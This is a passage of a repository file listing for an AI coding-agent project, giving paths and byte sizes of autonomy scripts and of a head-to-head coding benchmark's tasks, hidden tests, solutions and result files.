bytesautonomy/lib/worktree_prep.pyruns7,076 bytesautonomy/lokiruns1,737,519 bytesautonomy/mcp-launch.shruns25,424 bytesautonomy/migration-agents.shruns21,319 bytesautonomy/mirofish-adapter.pyruns51,638 bytesautonomy/mobile-verify.shruns2,337 bytesautonomy/notification-checker.pyruns15,109 bytesautonomy/notify.shruns9,167 bytesautonomy/openspec-adapter.pyruns29,005 bytesautonomy/playwright-verify.shruns38,891 bytesautonomy/prd-analyzer.pyruns30,318 bytesautonomy/prd-checklist.shruns68,025 bytesautonomy/provider-offer.shruns29,207 bytesautonomy/queue-consumer.shruns14,195 bytesautonomy/quickstart.shruns78,787 bytesautonomy/receipt_jwt.pyruns18,300 bytesautonomy/route.shruns28,859 bytesautonomy/run.shruns1,503,812 bytesautonomy/sandbox.shruns86,269 bytesautonomy/seccomp-sandbox.jsonasset9,533 bytesautonomy/serve.shruns6,906 bytesautonomy/setup-wizard.shruns7,010 bytesautonomy/spec-interrogation.shruns60,767 bytesautonomy/spec.shruns33,356 bytesautonomy/telemetry.shruns30,418 bytesautonomy/trigger-schedule.pyruns11,118 bytesautonomy/trigger-server.pyruns117,506 bytesautonomy/tui.shruns13,955 bytesautonomy/verify.shruns169,214 bytesautonomy/voice.shruns14,433 bytesbenchmarks/bench/prices.jsonasset2,309 bytesbenchmarks/h2h/RESULTS.mddoc42,033 bytesbenchmarks/h2h/fixtures/hard/go-expr-autoderef/meta.jsonasset1,577 bytesbenchmarks/h2h/fixtures/hard/go-expr-autoderef/task.txtdoc173 bytesbenchmarks/h2h/fixtures/hard/go-expr-withcontext/meta.jsonasset1,569 bytesbenchmarks/h2h/fixtures/hard/go-expr-withcontext/task.txtdoc1,092 bytesbenchmarks/h2h/fixtures/hard/py-click-help-option-cls/meta.jsonasset2,787 bytesbenchmarks/h2h/fixtures/hard/py-click-help-option-cls/task.txtdoc2,842 bytesbenchmarks/h2h/fixtures/hard/py-click-show-default-prompt/meta.jsonasset2,692 bytesbenchmarks/h2h/fixtures/hard/py-click-show-default-prompt/task.txtdoc545 bytesbenchmarks/h2h/fixtures/hard/py-mistune-codespan-escape/meta.jsonasset1,806 bytesbenchmarks/h2h/fixtures/hard/py-mistune-codespan-escape/task.txtdoc348 bytesbenchmarks/h2h/fixtures/hard/py-mistune-md-leading-newlines/meta.jsonasset1,819 bytesbenchmarks/h2h/fixtures/hard/py-mistune-md-leading-newlines/task.txtdoc528 bytesbenchmarks/h2h/fixtures/hard/py-mistune-toc-reflinks/meta.jsonasset1,948 bytesbenchmarks/h2h/fixtures/hard/py-mistune-toc-reflinks/task.txtdoc1,404 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-hash-case/meta.jsonasset2,795 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-hash-case/task.txtdoc938 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-mysql-stddev/meta.jsonasset2,894 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-mysql-stddev/task.txtdoc1,317 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-mysql-timestampadd/meta.jsonasset2,769 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-mysql-timestampadd/task.txtdoc1,724 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-search-cycle/meta.jsonasset2,924 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-search-cycle/task.txtdoc1,957 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-snowflake-idents/meta.jsonasset2,770 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-snowflake-idents/task.txtdoc1,648 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-teradata-frame/meta.jsonasset2,836 bytesbenchmarks/h2h/fixtures/hard/py-sqlglot-teradata-frame/task.txtdoc2,677 bytesbenchmarks/h2h/fixtures/hard/py-sqlparse-compare-expr/meta.jsonasset1,616 bytesbenchmarks/h2h/fixtures/hard/py-sqlparse-compare-expr/task.txtdoc1,857 bytesbenchmarks/h2h/fixtures/hard/py-sqlparse-window-over/meta.jsonasset1,443 bytesbenchmarks/h2h/fixtures/hard/py-sqlparse-window-over/task.txtdoc4,575 bytesbenchmarks/h2h/fixtures/hard/py-tomlkit-array-remove/meta.jsonasset1,923 bytesbenchmarks/h2h/fixtures/hard/py-tomlkit-array-remove/task.txtdoc626 bytesbenchmarks/h2h/fixtures/hard/py-tomlkit-table-update/meta.jsonasset2,509 bytesbenchmarks/h2h/fixtures/hard/py-tomlkit-table-update/task.txtdoc1,170 bytesbenchmarks/h2h/fixtures/hard/py-tomlkit-value-bool/meta.jsonasset2,260 bytesbenchmarks/h2h/fixtures/hard/py-tomlkit-value-bool/task.txtdoc1,154 bytesbenchmarks/h2h/h2h.pyruns66,885 bytesbenchmarks/h2h/replay/go-semver-dirty-lte/meta.jsonasset1,605 bytesbenchmarks/h2h/replay/go-semver-dirty-lte/task.txtdoc563 bytesbenchmarks/h2h/replay/go-semver-four-part/meta.jsonasset1,769 bytesbenchmarks/h2h/replay/go-semver-four-part/task.txtdoc586 bytesbenchmarks/h2h/replay/py-boltons-research-tuples/meta.jsonasset2,149 bytesbenchmarks/h2h/replay/py-boltons-research-tuples/task.txtdoc1,210 bytesbenchmarks/h2h/replay/py-cachetools-grow-evict/meta.jsonasset1,729 bytesbenchmarks/h2h/replay/py-cachetools-grow-evict/task.txtdoc3,023 bytesbenchmarks/h2h/replay/py-cachetools-ttl-overflow/meta.jsonasset1,532 bytesbenchmarks/h2h/replay/py-cachetools-ttl-overflow/task.txtdoc1,340 bytesbenchmarks/h2h/replay/py-moreit-value-chain/meta.jsonasset2,065 bytesbenchmarks/h2h/replay/py-moreit-value-chain/task.txtdoc2,402 bytesbenchmarks/h2h/replay/py-parse-tz-groups/meta.jsonasset1,550 bytesbenchmarks/h2h/replay/py-parse-tz-groups/task.txtdoc1,166 bytesbenchmarks/h2h/replay/py-toolz-partition-len/meta.jsonasset1,767 bytesbenchmarks/h2h/replay/py-toolz-partition-len/task.txtdoc1,690 bytesbenchmarks/h2h/results/2026-11-01-0ff237642.jsonasset499,830 bytesbenchmarks/h2h/results/2026-11-01-2100eda48-replay.jsonasset113,087 bytesbenchmarks/h2h/results/2026-11-01-2499d6aee-hard-pilot.jsonasset113,282 bytesbenchmarks/h2h/results/2026-11-01-33004105f.jsonasset48,105 bytesbenchmarks/h2h/results/2026-11-01-65440abaf-before.jsonasset191,027 bytesbenchmarks/h2h/results/2026-11-01-7359dab35-learning.jsonasset252,357 bytesbenchmarks/h2h/results/2026-11-01-9571a21f7.jsonasset52,994 bytesbenchmarks/h2h/results/2026-11-01-9fe15d528.jsonasset85,539 bytesbenchmarks/h2h/results/2026-11-01-e13f3dd72-hard.jsonasset1,069,692 bytesbenchmarks/h2h/results/2026-11-01-e15916767.jsonasset54,589 bytesbenchmarks/h2h/results/2026-11-01-learning-v2-after.jsonasset922,294 bytesbenchmarks/h2h/results/2026-11-01-learning-v2-before.jsonasset307,579 bytesbenchmarks/h2h/results/2026-11-01-win-bench-v2-after.jsonasset177,159 bytesbenchmarks/h2h/results/2026-11-01-win-bench-v2-review-fixes.jsonasset173,645 bytesbenchmarks/h2h/results/2026-11-02-pr471-new-haiku-5eef084a0.jsonasset202,365 bytesbenchmarks/h2h/results/2026-11-02-pr471-old-haiku-4c51599fb.jsonasset337,655 bytesbenchmarks/h2h/run.shruns2,829 bytesbenchmarks/h2h/sequences/go-cli-commands/meta.jsonasset625 bytesbenchmarks/h2h/sequences/go-cli-commands/repo/cli/add.goruns782 bytesbenchmarks/h2h/sequences/go-cli-commands/repo/cli/cli.goruns868 bytesbenchmarks/h2h/sequences/go-cli-commands/repo/go.modasset34 bytesbenchmarks/h2h/sequences/go-cli-commands/repo/notes/store.goruns1,339 bytesbenchmarks/h2h/sequences/go-cli-commands/repo/tests/visible_test.goruns1,484 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s1/hidden/list_hidden_test.goruns2,233 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s1/solution/cli/list.goruns1,000 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s1/task.txtdoc1,013 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s2/hidden/done_hidden_test.goruns1,489 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s2/solution/cli/done.goruns902 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s2/task.txtdoc867 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s3/hidden/remove_hidden_test.goruns2,928 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/help.goruns824 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/remove.goruns480 bytesbenchmarks/h2h/sequences/go-cli-commands/steps/s3/task.txtdoc1,622 bytesbenchmarks/h2h/sequences/go-mathx-registry/meta.jsonasset993 bytesbenchmarks/h2h/sequences/go-mathx-registry/repo/go.modasset34 bytesbenchmarks/h2h/sequences/go-mathx-registry/repo/mathx/mathx.goruns324 bytesbenchmarks/h2h/sequences/go-mathx-registry/repo/mathx/registry.goruns177 bytesbenchmarks/h2h/sequences/go-mathx-registry/repo/tests/conventions_test.goruns1,496 bytesbenchmarks/h2h/sequences/go-mathx-registry/repo/tests/mathx_test.goruns310 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s1/hidden/gcd_hidden_test.goruns546 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/mathx.goruns489 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/registry.goruns192 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s1/task.txtdoc208 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s2/hidden/lcm_hidden_test.goruns531 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/mathx.goruns670 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/registry.goruns207 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s2/task.txtdoc186 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s3/hidden/prime_hidden_test.goruns561 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/mathx.goruns850 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/registry.goruns236 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s3/task.txtdoc214 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s4/hidden/pow_hidden_test.goruns784 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/mathx.goruns1,102 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/registry.goruns253 bytesbenchmarks/h2h/sequences/go-mathx-registry/steps/s4/task.txtdoc292 bytesbenchmarks/h2h/sequences/py-report-formats/meta.jsonasset742 bytesbenchmarks/h2h/sequences/py-report-formats/repo/pytest.iniasset42 bytesbenchmarks/h2h/sequences/py-report-formats/repo/reports/__init__.pyruns126 bytesbenchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/__init__.pyruns69 bytesbenchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/text_exporter.pyruns411 bytesbenchmarks/h2h/sequences/py-report-formats/repo/reports/summary.pyruns904 bytesbenchmarks/h2h/sequences/py-report-formats/repo/tests/test_reports.pyruns795 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s1/hidden/test_csv_hidden.pyruns1,140 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s1/solution/reports/exporters/csv_exporter.pyruns557 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s1/task.txtdoc894 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s2/hidden/test_json_hidden.pyruns1,293 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s2/solution/reports/exporters/json_exporter.pyruns396 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s2/task.txtdoc866 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s3/hidden/test_markdown_hidden.pyruns1,767 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/__init__.pyruns758 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/markdown_exporter.pyruns445 bytesbenchmarks/h2h/sequences/py-report-formats/steps/s3/task.txtdoc1,339 bytesbenchmarks/h2h/sequences/py-textkit-doctest/meta.jsonasset1,146 bytesbenchmarks/h2h/sequences/py-textkit-doctest/repo/pytest.iniasset42 bytesbenchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_conventions.pyruns944 bytesbenchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_transforms.pyruns230 bytesbenchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/__init__.pyruns106 bytesbenchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/transforms.pyruns683 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s1/hidden/test_truncate_hidden.pyruns777 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s1/solution/textkit/transforms.pyruns1,043 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s1/task.txtdoc461 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s2/hidden/test_snake_hidden.pyruns649 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s2/solution/textkit/transforms.pyruns1,404 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s2/task.txtdoc486 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s3/hidden/test_accents_hidden.pyruns594 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s3/solution/textkit/transforms.pyruns1,684 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s3/task.txtdoc303 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s4/hidden/test_wrap_hidden.pyruns795 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s4/solution/textkit/transforms.pyruns2,217 bytesbenchmarks/h2h/sequences/py-textkit-doctest/steps/s4/task.txtdoc524 bytesbenchmarks/h2h/sequences/py-unit-registry/meta.jsonasset1,130 bytesbenchmarks/h2h/sequences/py-unit-registry/repo/pytest.iniasset42 bytesbenchmarks/h2h/sequences/py-unit-registry/repo/tests/test_conventions.pyruns997 bytesbenchmarks/h2h/sequences/py-unit-registry/repo/tests/test_converters.pyruns474 bytesbenchmarks/h2h/sequences/py-unit-registry/repo/units/__init__.pyruns73 bytesbenchmarks/h2h/sequences/py-unit-registry/repo/units/converters.pyruns409 bytesbenchmarks/h2h/sequences/py-unit-registry/repo/units/registry.pyruns436 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s1/hidden/test_celsius_hidden.pyruns698 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/converters.pyruns516 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/registry.pyruns511 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s1/task.txtdoc256 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s2/hidden/test_km_hidden.pyruns762 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/converters.pyruns677 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/registry.pyruns584 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s2/task.txtdoc214 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s3/hidden/test_kg_hidden.pyruns755 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/converters.pyruns836 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/registry.pyruns657 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s3/task.txtdoc213 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s4/hidden/test_liters_hidden.pyruns951 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/converters.pyruns1,012 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/registry.pyruns896 bytesbenchmarks/h2h/sequences/py-unit-registry/steps/s4/task.txtdoc414 bytesbenchmarks/h2h/sequences/py-validators/meta.jsonasset741 bytesbenchmarks/h2h/sequences/py-validators/repo/forms/__init__.pyruns106 bytesbenchmarks/h2h/sequences/py-validators/repo/forms/errors.pyruns253 bytesbenchmarks/h2h/sequences/py-validators/repo/forms/validators.pyruns864 bytesbenchmarks/h2h/sequences/py-validators/repo/pytest.iniasset42 bytesbenchmarks/h2h/sequences/py-validators/repo/tests/test_validators.pyruns1,073 bytesbenchmarks/h2h/sequences/py-validators/steps/s1/hidden/test_email_hidden.pyruns1,552 bytesbenchmarks/h2h/sequences/py-validators/steps/s1/solution/forms/validators.pyruns1,760 bytesbenchmarks/h2h/sequences/py-validators/steps/s1/task.txtdoc1,049 bytesbenchmarks/h2h/sequences/py-validators/steps/s2/hidden/test_phone_hidden.pyruns1,380 bytesbenchmarks/h2h/sequences/py-validators/steps/s2/solution/forms/validators.pyruns2,466 bytesbenchmarks/h2h/sequences/py-validators/steps/s2/task.txtdoc976 bytesbenchmarks/h2h/sequences/py-validators/steps/s3/hidden/test_form_hidden.pyruns2,843 bytesbenchmarks/h2h/sequences/py-validators/steps/s3/solution/forms/validators.pyruns4,097 bytesbenchmarks/h2h/sequences/py-validators/steps/s3/task.txtdoc1,908 bytesbenchmarks/h2h/sequences/ts-format-catalog/meta.jsonasset974 bytesbenchmarks/h2h/sequences/ts-format-catalog/repo/package.jsonruns131 bytesbenchmarks/h2h/sequences/ts-format-catalog/repo/src/catalog.tsruns562 bytesbenchmarks/h2h/sequences/ts-format-catalog/repo/src/format.tsruns629 bytesbenchmarks/h2h/sequences/ts-format-catalog/repo/src/guard.tsruns212 bytesbenchmarks/h2h/sequences/ts-format-catalog/repo/test/conventions.test.tsruns881 bytesbenchmarks/h2h/sequences/ts-format-catalog/repo/test/format.test.tsruns548 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s1/hidden/duration.hidden.test.tsruns943 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/catalog.tsruns650 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/format.tsruns1,075 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s1/task.txtdoc425 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s2/hidden/ordinal.hidden.test.tsruns932 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/catalog.tsruns728 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/format.tsruns1,415 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s2/task.txtdoc301 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s3/hidden/compact.hidden.test.tsruns712 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/catalog.tsruns808 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/format.tsruns1,734 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s3/task.txtdoc437 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s4/hidden/currency.hidden.test.tsruns865 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/catalog.tsruns897 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/format.tsruns2,123 bytesbenchmarks/h2h/sequences/ts-format-catalog/steps/s4/task.txtdoc392 bytesbenchmarks/h2h/sequences/ts-pricing-rules/meta.jsonasset606 bytesbenchmarks/h2h/sequences/ts-pricing-rules/repo/package.jsonruns137 bytesbenchmarks/h2h/sequences/ts-pricing-rules/repo/src/cart.tsruns283 bytesbenchmarks/h2h/sequences/ts-pricing-rules/repo/src/pricing.tsruns846 bytesbenchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/bulkDiscount.tsruns673 bytesbenchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/types.tsruns434 bytesbenchmarks/h2h/sequences/ts-pricing-rules/repo/test/pricing.test.tsruns1,383 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s1/hidden/percentOff.hidden.test.tsruns2,280 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s1/solution/src/rules/percentOff.tsruns667 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s1/task.txtdoc982 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s2/hidden/buyXGetY.hidden.test.tsruns1,943 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s2/solution/src/rules/buyXGetY.tsruns818 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s2/task.txtdoc1,130 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s3/hidden/registry.hidden.test.tsruns3,088 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/index.tsruns1,712 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/threshold.tsruns645 bytesbenchmarks/h2h/sequences/ts-pricing-rules/steps/s3/task.txtdoc1,873 bytesbenchmarks/h2h/tasks/go-bank-transfer/hidden/h2h_hidden_test.goruns5,814 bytesbenchmarks/h2h/tasks/go-bank-transfer/meta.jsonasset320 bytesbenchmarks/h2h/tasks/go-bank-transfer/repo/account/account.goruns1,785 bytesbenchmarks/h2h/tasks/go-bank-transfer/repo/go.modasset33 bytesbenchmarks/h2h/tasks/go-bank-transfer/repo/ledger/ledger.goruns1,207 bytesbenchmarks/h2h/tasks/go-bank-transfer/repo/tests/visible_test.goruns1,640 bytesbenchmarks/h2h/tasks/go-bank-transfer/solution/account/account.goruns2,697 bytesbenchmarks/h2h/tasks/go-bank-transfer/solution/ledger/ledger.goruns2,054 bytesbenchmarks/h2h/tasks/go-bank-transfer/task.txtdoc1,583 bytesbenchmarks/h2h/tasks/go-config-merge/hidden/h2h_hidden_test.goruns3,479 bytesbenchmarks/h2h/tasks/go-config-merge/meta.jsonasset322 bytesbenchmarks/h2h/tasks/go-config-merge/repo/config/env.goruns552 bytesbenchmarks/h2h/tasks/go-config-merge/repo/config/file.goruns866 bytesbenchmarks/h2h/tasks/go-config-merge/repo/config/merge.goruns1,903 bytesbenchmarks/h2h/tasks/go-config-merge/repo/go.modasset35 bytesbenchmarks/h2h/tasks/go-config-merge/repo/server/server.goruns939 bytesbenchmarks/h2h/tasks/go-config-merge/repo/tests/visible_test.goruns1,108 bytesbenchmarks/h2h/tasks/go-config-merge/solution/config/env.goruns606 bytesbenchmarks/h2h/tasks/go-config-merge/solution/config/file.goruns917 bytesbenchmarks/h2h/tasks/go-config-merge/solution/config/merge.goruns2,069 bytesbenchmarks/h2h/tasks/go-config-merge/task.txtdoc1,389 bytesbenchmarks/h2h/tasks/go-ratelimit/hidden/h2h_hidden_test.goruns4,329 bytesbenchmarks/h2h/tasks/go-ratelimit/meta.jsonasset317 bytesbenchmarks/h2h/tasks/go-ratelimit/repo/go.modasset38 bytesbenchmarks/h2h/tasks/go-ratelimit/repo/ratelimit/window.goruns1,091 bytesbenchmarks/h2h/tasks/go-ratelimit/repo/tests/visible_test.goruns1,149 bytesbenchmarks/h2h/tasks/go-ratelimit/solution/ratelimit/bucket.goruns1,676 bytesbenchmarks/h2h/tasks/go-ratelimit/task.txtdoc1,497 bytesbenchmarks/h2h/tasks/go-store-refactor/hidden/h2h_hidden_test.goruns5,391 bytesbenchmarks/h2h/tasks/go-store-refactor/meta.jsonasset316 bytesbenchmarks/h2h/tasks/go-store-refactor/repo/go.modasset34 bytesbenchmarks/h2h/tasks/go-store-refactor/repo/notes/format.goruns991 bytesbenchmarks/h2h/tasks/go-store-refactor/repo/notes/handlers.goruns990 bytesbenchmarks/h2h/tasks/go-store-refactor/repo/notes/store.goruns1,140 bytesbenchmarks/h2h/tasks/go-store-refactor/repo/tests/visible_test.goruns1,108 bytesbenchmarks/h2h/tasks/go-store-refactor/solution/notes/handlers.goruns1,244 bytesbenchmarks/h2h/tasks/go-store-refactor/solution/notes/store.goruns1,504 bytesbenchmarks/h2h/tasks/go-store-refactor/task.txtdoc1,779 bytesbenchmarks/h2h/tasks/go-topo-schedule/hidden/h2h_hidden_test.goruns18,490 bytesbenchmarks/h2h/tasks/go-topo-schedule/meta.jsonasset315 bytesbenchmarks/h2h/tasks/go-topo-schedule/repo/go.modasset34 bytesbenchmarks/h2h/tasks/go-topo-schedule/repo/sched/graph.goruns854 bytesbenchmarks/h2h/tasks/go-topo-schedule/repo/tests/visible_test.goruns552 bytesbenchmarks/h2h/tasks/go-topo-schedule/solution/sched/plan.goruns11,004 bytesbenchmarks/h2h/tasks/go-topo-schedule/task.txtdoc5,100 bytesbenchmarks/h2h/tasks/go-wordfreq-tokenize/hidden/h2h_hidden_test.goruns3,039 bytesbenchmarks/h2h/tasks/go-wordfreq-tokenize/meta.jsonasset322 bytesbenchmarks/h2h/tasks/go-wordfreq-tokenize/repo/go.modasset37 bytesbenchmarks/h2h/tasks/go-wordfreq-tokenize/repo/tests/visible_test.goruns803 bytesbenchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/count.goruns592 bytesbenchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/tokenize.goruns551 bytesbenchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/count.goruns755 bytesbenchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/tokenize.goruns735 bytesbenchmarks/h2h/tasks/go-wordfreq-tokenize/task.txtdoc1,360 bytesbenchmarks/h2h/tasks/py-cache-ttl/hidden/test_cache_hidden.pyruns2,391 bytesbenchmarks/h2h/tasks/py-cache-ttl/meta.jsonasset398 bytesbenchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/__init__.pyruns46 bytesbenchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/cache.pyruns1,058 bytesbenchmarks/h2h/tasks/py-cache-ttl/repo/pytest.iniasset42 bytesbenchmarks/h2h/tasks/py-cache-ttl/repo/tests/test_cache.pyruns615 bytesbenchmarks/h2h/tasks/py-cache-ttl/solution/cachelib/cache.pyruns2,099 bytesbenchmarks/h2h/tasks/py-cache-ttl/task.txtdoc744 bytesbenchmarks/h2h/tasks/py-csv-quotes/hidden/test_parser_hidden.pyruns1,078 bytesbenchmarks/h2h/tasks/py-csv-quotes/meta.jsonasset398 bytesbenchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/__init__.pyruns83 bytesbenchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/parser.pyruns805 bytesbenchmarks/h2h/tasks/py-csv-quotes/repo/pytest.iniasset42 bytesbenchmarks/h2h/tasks/py-csv-quotes/repo/tests/test_parser.pyruns394 bytesbenchmarks/h2h/tasks/py-csv-quotes/solution/csvlite/parser.pyruns1,268 bytesbenchmarks/h2h/tasks/py-csv-quotes/task.txtdoc559 bytesbenchmarks/h2h/tasks/py-invoice-rounding/hidden/test_invoice_hidden.pyruns2,041 bytesbenchmarks/h2h/tasks/py-invoice-rounding/meta.jsonasset405 bytesbenchmarks/h2h/tasks/py-invoice-rounding/repo/billing/__init__.pyruns136 bytesbenchmarks/h2h/tasks/py-invoice-rounding/repo/billing/invoice.pyruns1,641 bytesbenchmarks/h2h/tasks/py-invoice-rounding/repo/billing/money.pyruns401 bytesbenchmarks/h2h/tasks/py-invoice-rounding/repo/billing/tax.pyruns294 bytesbenchmarks/h2h/tasks/py-invoice-rounding/repo/pytest.iniasset42 bytesbenchmarks/h2h/tasks/py-invoice-rounding/repo/tests/test_invoice.pyruns918 bytesbenchmarks/h2h/tasks/py-invoice-rounding/solution/billing/money.pyruns726 bytesbenchmarks/h2h/tasks/py-invoice-rounding/solution/billing/tax.pyruns655 bytesbenchmarks/h2h/tasks/py-invoice-rounding/task.txtdoc1,271 bytesbenchmarks/h2h/tasks/py-retry-decorator/hidden/test_retry_hidden.pyruns3,729 bytesbenchmarks/h2h/tasks/py-retry-decorator/meta.jsonasset399 bytesbenchmarks/h2h/tasks/py-retry-decorator/repo/netutil/__init__.pyruns32 bytesbenchmarks/h2h/tasks/py-retry-decorator/repo/netutil/http.pyruns676 bytesbenchmarks/h2h/tasks/py-retry-decorator/repo/pytest.iniasset42 bytesbenchmarks/h2h/tasks/py-retry-decorator/repo/tests/test_http.pyruns674 bytesbenchmarks/h2h/tasks/py-retry-decorator/solution/netutil/http.pyruns617 bytesbenchmarks/h2h/tasks/py-retry-decorator/solution/netutil/retry.pyruns762 bytesbenchmarks/h2h/tasks/py-retry-decorator/task.txtdoc837 bytesbenchmarks/h2h/tasks/py-semver-range/hidden/test_range_hidden.pyruns7,518 bytesbenchmarks/h2h/tasks/py-semver-range/meta.jsonasset396 bytesbenchmarks/h2h/tasks/py-semver-range/repo/pytest.iniasset42 bytesbenchmarks/h2h/tasks/py-semver-range/repo/semverlite/__init__.pyruns88 bytesbenchmarks/h2h/tasks/py-semver-range/repo/semverlite/version.pyruns2,855 bytesbenchmarks/h2h/tasks/py-semver-range/repo/tests/test_version.pyruns1,123 bytesbenchmarks/h2h/tasks/py-semver-range/solution/semverlite/range.pyruns8,380 bytesbenchmarks/h2h/tasks/py-semver-range/task.txtdoc4,133 bytesbenchmarks/h2h/tasks/py-todo-json/hidden/test_cli_hidden.pyruns2,772 bytesbenchmarks/h2h/tasks/py-todo-json/meta.jsonasset399 bytesbenchmarks/h2h/tasks/py-todo-json/repo/pytest.iniasset42 bytesbenchmarks/h2h/tasks/py-todo-json/repo/tests/test_cli.pyruns770 bytesbenchmarks/h2h/tasks/py-todo-json/repo/todo/__init__.pyruns0 bytesbenchmarks/h2h/tasks/py-todo-json/repo/todo/cli.pyruns724 bytesbenchmarks/h2h/tasks/py-todo-json/repo/todo/models.pyruns364 